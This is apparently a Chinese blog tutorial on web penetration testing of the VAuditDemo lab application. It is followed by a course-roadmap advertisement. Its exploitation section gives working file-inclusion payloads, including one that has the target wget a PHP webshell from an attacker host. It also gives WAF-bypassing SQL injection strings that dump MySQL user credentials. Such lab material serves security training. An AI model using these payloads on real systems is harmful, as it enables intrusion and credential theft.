怎样开发网站建设,什么是网站空间,怎么做传奇网站,上海优化公司有哪些一、渗透测试概念
写在开始#xff1a;进行web渗透测试之前#xff0c;务必获得测试目标拥有者或组织的书面授权#xff0c;明确渗透测试的范围。
在授权范围内进行渗透测试#xff0c;测试结束之后#xff0c;务必清除渗透测试留下的痕迹#xff0c;包括访问日志、事件…一、渗透测试概念写在开始进行web渗透测试之前务必获得测试目标拥有者或组织的书面授权明确渗透测试的范围。在授权范围内进行渗透测试测试结束之后务必清除渗透测试留下的痕迹包括访问日志、事件记录、上传的shell脚本、创建的影子账户等等。渗透测试并没有一个标准的定义但通常被解释为一种评估计算机网络系统安全的方法。这个过程模拟恶意黑客的攻击方式以寻找并利用系统中的安全漏洞。渗透测试旨在挖掘目标系统的安全漏洞取得系统的控制权访问系统的机密数据并发现可能影响业务持续运作的安全隐患。渗透测试与黑客入侵的最大区别在于其进行方式。渗透测试是经过客户授权采用可控制、非破坏性质的方法和手段对目标和网络设备进行检测。这不仅能帮助管理者了解他们网络所面临的问题还能提供针对这些问题的安全加固建议从而帮助客户提升系统的安全性。渗透测试按照软件测试的理念分为三种类型白盒测试、黑盒测试、灰盒测试。其中白盒测试是基于代码审查再结合漏洞扫描等技术进行黑盒测试在业内也称为盲测除了有测试范围之外其他全部模拟黑客攻击的过程进行操作灰盒测试是结合白盒测试的代码审计、黑盒测试的攻击策略和技术的一种折中类型。白盒测试的因为拥有目标所有内部与底层的知识因此可以用最小的代价发现更多严重的隐藏的漏洞。黑盒测试因为是盲测因此需要依赖较高的技术能力攻击方式也变得多样性从而可以更完整的评估目标的安全风险也可以检测到目标团队的应急能力。灰盒测试集两者之长既能快速全面检测出漏洞同时还具备了更完整的安全风险评估能力。安全漏洞生命周期划分安全漏洞被发现到其消亡的过程被划分为7个步骤其中包含的概念如下Exploit简称EXP利用安全漏洞造成入侵或破坏的渗透代码又叫漏洞利用代码POCProof of Concept概念验证只是验证漏洞的存在并不会利用该漏洞进行入侵。ExploitEXP发现漏洞后使用恶意代码或恶意指令进行漏洞的利用和入侵。0 Day第一个发现的漏洞同时官方还没有发布补丁也未公开该漏洞漏洞处于可利用阶段。RCERemote Code/Command Execution 远程代码/命令执行。SRC安全应急响应中心 Security Emergency Response Center。二、web渗透测试的步骤渗透测试步骤分为前期交互、情报收集、汇总分析、渗透攻击、后渗透攻击、报告提交等六个阶段1、前期交互这个阶段主要是和委托方进行商讨洽谈、获取书面授权、测试范围的确定等工作。2、情报搜集在获得授权的基础上对测试目标进行相应的情报收集包括网络基本配置、域名、人员权限划分、暴露的端口、系统入口、web后台入口等。3、汇总分析该阶段基于上一步骤、对所有收集的信息进行汇总整理、从中找出合适的渗透方向、策略选定合适的工具以及人员分工。4、渗透攻击开始进行漏洞挖掘、扫描、找出可用的载荷payload进行漏洞利用。5、后渗透攻击getshell、上传木马、修补漏洞、清除痕迹和脚本。6、报告编写将所有找到的安全漏洞汇总为一份渗透测试报告提交给委托方完成渗透任务。本文将依据以上的步骤以一个web靶场为例阐述web渗透测试基本流程和注意事项。三、靶场部署服务器配置操作系统CentOS7、2核CPU、2G内存、30G磁盘、网络可以访问IP192.168.211.132部署xamppvaudit客户端配置主机操作系统windows11IP192.168.1.5渗透机CentOS7IP192.168.211.129部署xampp存储攻击用的shell靶场搭建过程从gitee上面下载的一个开源软件vaudit下载地址https://github.com/1stPeak/VAuditDemo 作者是Virink。1、先在CentOS上面安装一个xampp5.6版本2、使用添加VHosts和端口的方式部署vaudit在lampp/etc/extra目录下面通过添加新的vhosts虚拟主机的方式来进行处理只需要修改两个配置文件即可。1修改/opt/lampp/etc/httpd.conf添加监听端口并且包含httpd-vhosts.conf文件。Listen 80 # 默认端口Listen 81 # VAudit端口Listen 82 # 预留端口Include etc/extra/httpd-vhosts.conf # 取消前面的 # 号注释2修改/opt/lampp/etc/extra/httpd-vhosts.conf# 先注释掉其他已有的*:80的模板内容增加以下内容VirtualHost *:81 ServerName localhost DocumentRoot /opt/lampp/htdocs/vaudit/VirtualHost3、修改基本配置使用网站管理中的php配置将allow_url_include设置为On也就是需要使用到远程文件包含功能。如果xampp启动失败需要在lampp的启动程序lampp中找到2.2.0修改为2.8.0如下位置436 export LD_ASSUME_KERNEL2.8.04、接下来修改并且配置数据库连接使用vi打开/opt/lampp/htdocs/vaudit/sys目录下面的config.php文件?php error_reporting(0); if (!file_exists($_SERVER[DOCUMENT_ROOT] . /sys/install.lock)) { header(Location: /install/install.php); exit;}// 注意这行代码是一个功能bug下面这行是原文需要删掉路径中../sys/,否则留言板功能失效。//include_once ../sys/lib.php;include_once lib.php; // 下面为数据库的连接设置默认安装是不用修改的$host localhost;$username root;$password root;$database vauditdemo; $conn mysql_connect($host, $username, $password);mysql_query(set names utf8, $conn);mysql_select_db($database, $conn) or die(mysql_error());if (!$conn) { die(Could not connect: . mysql_error()); exit;} session_start();?完成上述步骤之后在浏览器中输入http://192.168.211.132:81/ 看到VAuditDemo安装界面可以看出有两个目录没有写权限需要sys和uploads进行赋权,在/www/admin/localhost_80/wwwroot下面执行下面的命令这里只需要给other赋予写入权限即可。chmod ow sys uploads然后刷新浏览器现在看到可以安装了点击安装看到如下提示表示完成点击确定之后进入到vaudit的主页面四、信息采集现在我们需要熟悉这个软件系统的基本功能跟踪和监控web页面上的各个接口及交互的数据这里需要使用到一些工具sqlmap、burp suite、御剑后台扫描工具、带hackbar的firefox浏览器等。先注册一个用户tester然后使用tester进入开启对系统的使用之旅通过使用我们可以发现注册普通用户不需要验证码普通用户修改用户信息不需要二次验证可以上传图头像图片搜索接口留言查看留言关于页面等普通用户可以点击或使用的功能。接下来使用御剑后台扫描工具对系统进行扫描通过扫描我们可以发现该目标站点存在一个后台登录的页面可以试试看这里可以看出后台登录是有验证码的看来暂时是动不了这里。不过从这里我们可以看出已经有好多个接口或功能可以提供给我们验证了那么我们可以进入下一个环节看看是否能够找到一些渗透的切入点。五、概念验证针对一个web系统能够使用的渗透点主要包括登录密码的暴力破解、SQL注入、XSS注入、CSRF、文件包含等对于普通用户进行暴力破解没有必要因为我们可以自己注册一个普通用户这里主要是考虑如何能够切入到数据库或者存储型的XSS、如果有文件包含也不错可以进行利用。**1、经过反复测试可以发现一个有意思的地方**http://192.168.211.128/index.php?moduleabout 这个地址的module翻译过来为模块而about正好指向关于页面。尝试将about改成其他任意的单词看看页面返回情况在这个过程中可以发现页面不会报错但是也没有相应的提示那么这里应该是一个文件包含的用法没有抛出错误估计是代码中给文件加了后缀并且做了异常控制。可以初步确认这里存在一个文件包含的漏洞需要进一步验证。2、接下来关注一下留言功能这里是允许用户输入内容的在渗透中有一个核心的思想那就是所有的输入是否用户可控。一般来说用户可控的输入都有一定的几率存在安全风险如果后端代码未做过滤或者过滤不够彻底那么这些地方就是机会因此先从此处入手试试看。在这个位置我们可以尝试的有sql注入和存储型XSS先试试sql注入由于留言属于插入功能因此这里优先考虑报错注入看看是否有机会结果发现注入的sql代码被原样显示显然这里没有sql注入那么再检测一下是否可以进行XSS,在输入框中输入以下代码test 提交留言可以看出还是被原文显示说明这里漏洞也被堵了那么点击查看留言详情试试这里我们可以获得留言详情的接口地址http://192.168.211.128/messageDetail.php?id9 这里参数id看起来应该是一个查询条件那么可以尝试看看这里是否存在注入的可能。在hackbar中输入http://192.168.211.128/messageDetail.php?id9 or 11# 可以看到下图显示从图上可以看出这里有回显且从提示看一看出sql代码被wafweb application firewall这里可以知道目标使用了一种web防火墙基础而or被替换为了sqlwaf可以看出其防火墙代码采取的是替换策略。那么根据经验可以试试其他的关键字和关键符号看看替换中是否存在漏洞可以利用在sql注入中、||、_下划线单引号双引号这些符号是非常有用的如果这些符号被替换那么我们可能就得另谋出路。因此将这几个符号放在主要尝试的位置。经过尝试可以发现下划线、单引号和双引号也被转义了而和||被替换为了空这里就留下了一个注入漏洞可以利用||来绕过关键字的waf。从这里我们可以看出目前至少有两个漏洞可以试试下面我们就开始尝试看看这两个漏洞是否可以进行利用。六、漏洞利用1、文件包含漏洞的利用针对文件包含类的漏洞利用需要知道的是有两种包含方式第一种就是本地文件包含这种漏洞的利用可以获取到服务器上面的基本信息如果有文件上传漏洞存在则可以将二者进行结合从而getshell。而文件包含的利用需要用到php的伪协议相关的知识这里我们可以试试data伪协议。先使用下面的payload试http://192.168.211.132:81/index.php?moduledata://text/plain,?php phpinfo();?这个结果表示我们其实已经可以执行OS的命令也就是getshell。比如可以执行如下的payloadhttp://192.168.211.132:81/index.php?moduledata://text/plain,?php echo \\\\\\\ifconfig\\\\\\\;?可以看到已经从服务器获取到了信息那么可以顺着这个思路往下将服务器上面的所有能看的文件都进行浏览从而获取我们需要的信息。另外也可以实施挂马的操作。从攻击服务器上面去下载一个一句话木马如果在外网上面那么服务器需要提供外网的访问功能。服务器脚本的位置就直接方法/opt/lampp/htdocs下面脚本名字可以根据需要来改其内容只有一句话?php eval($\\\\\\\_POST\\\\\\\[0\\\\\\\]);?在浏览器中执行下面的payloadhttp://192.168.211.132:81/index.php?moduledata://text/plain,?php \\\\\\\wget http://192.168.211.129/shell.inc -O /tmp/shell.php\\\\\\\;?在被攻击的服务器上面的/tmp目录下面可以看到下面的结果木马上传成功后续可以使用蚁剑等工具进行连接服务实施其他的操作。2、sql注入漏洞利用根据前面概念验证的结果可以看出在返回留言详情的地方可以进行SQL注入先尝试最直接的方法就是联合注入payload如下http://192.168.211.132:81/messageDetail.php?id7 uni||on sel||ect database(),version(),user(),4 #可以看到结果从这里看出其内部数据库配置的是本地用户rootlocalhost这里可以试试能否直接从information_schema中获取表信息使用payload如下,这里因为要绕开单引号转义需要把数据库部分的’vauditdemo’转成hex即0x2776617564697464656d6f27sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema0x2776617564697464656d6f27但是看到的结果如下这里可以看到内部对下划线做了转义因此无法从information_schema中遍历数据库信息那就干脆试试能否从MySQL库中获取用户信息payload如下http://192.168.211.132:81/messageDetail.php?id7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user) #可以看到结果如下Subquery returns more than 1 row The result for [7 union select database(),version(),user(),(select concat(host,0x7e,user,0x7e,password) from mysql.user) ] is:这里表示返回的数据不止一行那可以使用limit进行逐行遍历payload如下http://192.168.211.132:81/messageDetail.php?id7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user lim||it 0,1) #可以看到结果继续遍历就可以发现数据库里面的具体用户信息其中包含远程连接权限的用户这个时候需要对用户humh的密码进行创库破解然后使用这个用户进行远程登录到数据库服务器对数据库进行操作这个时候就完美的避开了系统的waf。七、报告编写1、文件包含问题2、SQL注入风险3、报告模板八、写在最后本文主要基于靶场环境阐述web渗透中的一些技巧和方法文中仅仅选取了两个漏洞作为演示该系统中实际包含的漏洞超过10个有需要者可以按照本文中的步骤去慢慢挖掘。网络安全是软件系统质量模型中的重要指标之一网络漏洞和普通缺陷的区别在于普通的缺陷一般造成的是功能的失效从而导致用户使用存在困难或者用户无法使用。而网络安全漏洞则可能是在用户无感知的情况下被有心人进行利用从而导致用户数据公司机密等重要信息的泄露或者服务器或个人设备整个被转成肉鸡为攻击者的攻击提供便利和掩护。网络安全漏洞不需要多一个就行因此系统在研发开始就需要将网络安全引入现在流行的称谓是安全左移网络安全要做到100%甚至200%才可以。网络安全学习路线学习资源网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗【“脚本小子”成长进阶资源领取】7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。网络安全学习路线学习资源结语网络安全产业就像一个江湖各色人等聚集。相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失